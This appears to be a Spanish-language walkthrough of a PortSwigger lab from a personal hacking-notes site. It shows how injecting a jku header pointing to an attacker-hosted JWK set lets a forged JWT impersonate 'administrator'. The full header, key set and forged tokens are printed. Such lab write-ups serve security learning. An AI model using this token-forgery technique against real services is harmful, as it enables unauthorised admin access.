> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/jwt/jwt-authentication-bypass-via-jku-parameter-injection.md).

# Evasión de autenticación JWT mediante inyección del parámetro JKU

### Bypass de autenticación JWT mediante inyección del encabezado JKU

**Contexto del laboratorio**

Este laboratorio usa un mecanismo de gestión de sesión basado en JWT. / El servidor admite el **jku** parámetro en el encabezado del JWT, que indica la URL desde la cual recuperar la clave pública (JWK) utilizada para verificar la firma.

La vulnerabilidad se debe a que el **servidor no comprueba si la URL proporcionada en `jku` pertenece a un dominio de confianza**. Por lo tanto, es posible forzar al servidor a recuperar una clave pública controlada por el atacante.

Objetivo:

* Forjar un JWT que permita acceder a `/admin` panel de administración
* Eliminar usuario **carlos**

Identificador proporcionado:

* `wiener : peter`

**JWT inicial**

Se recupera un JWT válido después de autenticarse con `wiener` usuario:

{% code overflow="wrap" %}

```bash
eyJraWQiOiJhMjZmNDUwYy1lOWRjLTRlZTUtODRjOC1lYWQxNWNmNDE2NjkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0ODI3OSwic3ViIjoid2llbmVyIn0.QdpQA5ISeH9BS1JttLfm9VCOWA28H6-RDgCV59L5KVr3B8qLBXtt6DgQ32eW6mlKldZ8ZWhufcaPEsReqERGdhvgAWrQhruF7awvsGceHFQgxxBqcW3Yd3urPIZzl-S_EdIVaUwxgLkOv9acYUG1h9GJqgSFIyAjB8JuxQSHSHItzJSTHVMNQ9ffYDOb3fOQW64_LQko2rWUZLRhkG1-JTX3xYA03FOlvbVC4BfXKCBWV-dlrQaeFV8JgrMr-uDKhnJuzD34xFfjav0SXPedTRwMLhnThyFJJzx5OZwSnTUEuqlnipndHvjOhxYX-0OVbqpONwRrd41buEK1EI_HqA
```

{% endcode %}

**Cambio del encabezado del JWT**

El ataque consiste en añadir el **jku** parámetro al encabezado para indicar una URL pública alojada en el Exploit Server, que servirá como una clave JWK controlada.

Encabezado modificado:

```json
{
    "kid": "a26f450c-e9dc-4ee5-84c8-ead15cf41669",
    "alg": "RS256",
    "jku": "https://exploit-0ae10050046bd52081d5b68301ca00be.exploit-server.net"
}
```

**Generación de un par de claves RSA**

Se genera un nuevo par de claves RSA en el lado del atacante.

<figure><img src="/files/9de99683b8b962f843af85b1dce6acc711d4ce27" alt=""><figcaption></figcaption></figure>

La clave pública se convierte al formato JWK para ser servida por el Exploit Server.

<figure><img src="/files/127ce435eb33b5b460d5bf3972c40e3ac52c6e1f" alt=""><figcaption></figcaption></figure>

Contenido público de JWK:

```json
{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
    "n": "0FSyZZCfIph7feIKpr08HrjTGt-X4N1V8LcH_Sr9hHGPuOfHleZ381WuI6AgBee2VFNtJkUJ9QUJnh3I-CcQmuvFH4HqbJ2bqw0ywVHXDnPyctPYCDQyIkBC13Foe_R7z0nmR1eByk4DM0DFJX2YqO96Q6ND8ZmjtbI6ODvzl6ZCN6pmFK9tGwGzlGeNxauIliRH3vrdvtp1_Klz104RzYfxltzPC21EIQIpdWFoTpwzW7TFZBTiL-_6OYbP1X-GxpiQ2V-TTpOGfRcu3upetF1EE3rJvz4mh65EXIIQVCRIAafIwlVGiwTjL55vCXvc6JggG4Nf6nJgcD9PaY6p0Q"
}
```

**Alojamiento de JWK en el Exploit Server**

La JWK se muestra como un conjunto de claves, como espera el servidor objetivo:

```json
{
   "keys": [
{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
    "n": "0FSyZZCfIph7feIKpr08HrjTGt-X4N1V8LcH_Sr9hHGPuOfHleZ381WuI6AgBee2VFNtJkUJ9QUJnh3I-CcQmuvFH4HqbJ2bqw0ywVHXDnPyctPYCDQyIkBC13Foe_R7z0nmR1eByk4DM0DFJX2YqO96Q6ND8ZmjtbI6ODvzl6ZCN6pmFK9tGwGzlGeNxauIliRH3vrdvtp1_Klz104RzYfxltzPC21EIQIpdWFoTpwzW7TFZBTiL-_6OYbP1X-GxpiQ2V-TTpOGfRcu3upetF1EE3rJvz4mh65EXIIQVCRIAafIwlVGiwTjL55vCXvc6JggG4Nf6nJgcD9PaY6p0Q"
}
   ]
}
```

<figure><img src="/files/87e36dc05f656b52318cb84bf8854b294b18c214" alt=""><figcaption></figcaption></figure>

**Encabezado final del JWT**

El **kid** el campo se actualiza para que coincida con el de la JWK alojada, y el **jku** apunta a la URL exacta del archivo expuesto:

```json
{
    "kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
    "alg": "RS256",
    "jku": "https://exploit-0ae10050046bd52081d5b68301ca00be.exploit-server.net/exploit"
}
```

<figure><img src="/files/b50cd08f97e7ce76e261a64df10b963ae13d0827" alt=""><figcaption></figcaption></figure>

**Firma y escalada de privilegios**

El JWT se firma con la **clave privada** correspondiente a la clave pública mostrada.

<figure><img src="/files/a6c8b05f71e2c6ef0980c2e961e65297ff64f866" alt="" width="563"><figcaption></figcaption></figure>

La carga útil se modifica para usurpar a un usuario administrador:

```json
{
  "iss": "portswigger",
  "exp": 1767548841,
  "sub": "administrator"
}
```

JWT final :

```bash
eyJraWQiOiIwZDYxOWI5OC1iNGE2LTQyNTItOWQzZS1mMzcwNTQzMzYzNGIiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZXhwbG9pdC0wYWUxMDA1MDA0NmJkNTIwODFkNWI2ODMwMWNhMDBiZS5leHBsb2l0LXNlcnZlci5uZXQvZXhwbG9pdCJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0ODg0MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.QWCX9x4q3baQllVGwrVewi5-lPXFEvLltEn9hm3mwSz4XjDbBXABtUL5bB5bUL4_kE1tQrbgG5JFwsHocV6pew8hvm3mZ-0yspsr7bc-qD7RYBU8jecC2wX2R8TflGtKgIKf9KwWPLxRDWkYPOBIbwhSp5HTAbe9Ns4ZZVUz7_nIcypKHyJBOSXSCLHQI7HUrkll3ekHiR9a-n7gSeVkJ3-qnrMBDibasazlChaoxVaLRQGsFrEX7xFKA1eYYM1SxnhfHSO6Q-txUmdOtzAMEdlsSAOPIyJ5aRvIkSDBwHNzl8ouEl5c-qEjmEfShgUuNY6HIERn96HRIj5xGQgIGg
```

<figure><img src="/files/7780df375a9b50980179411faf814918bf5d9b84" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/jwt/jwt-authentication-bypass-via-jku-parameter-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
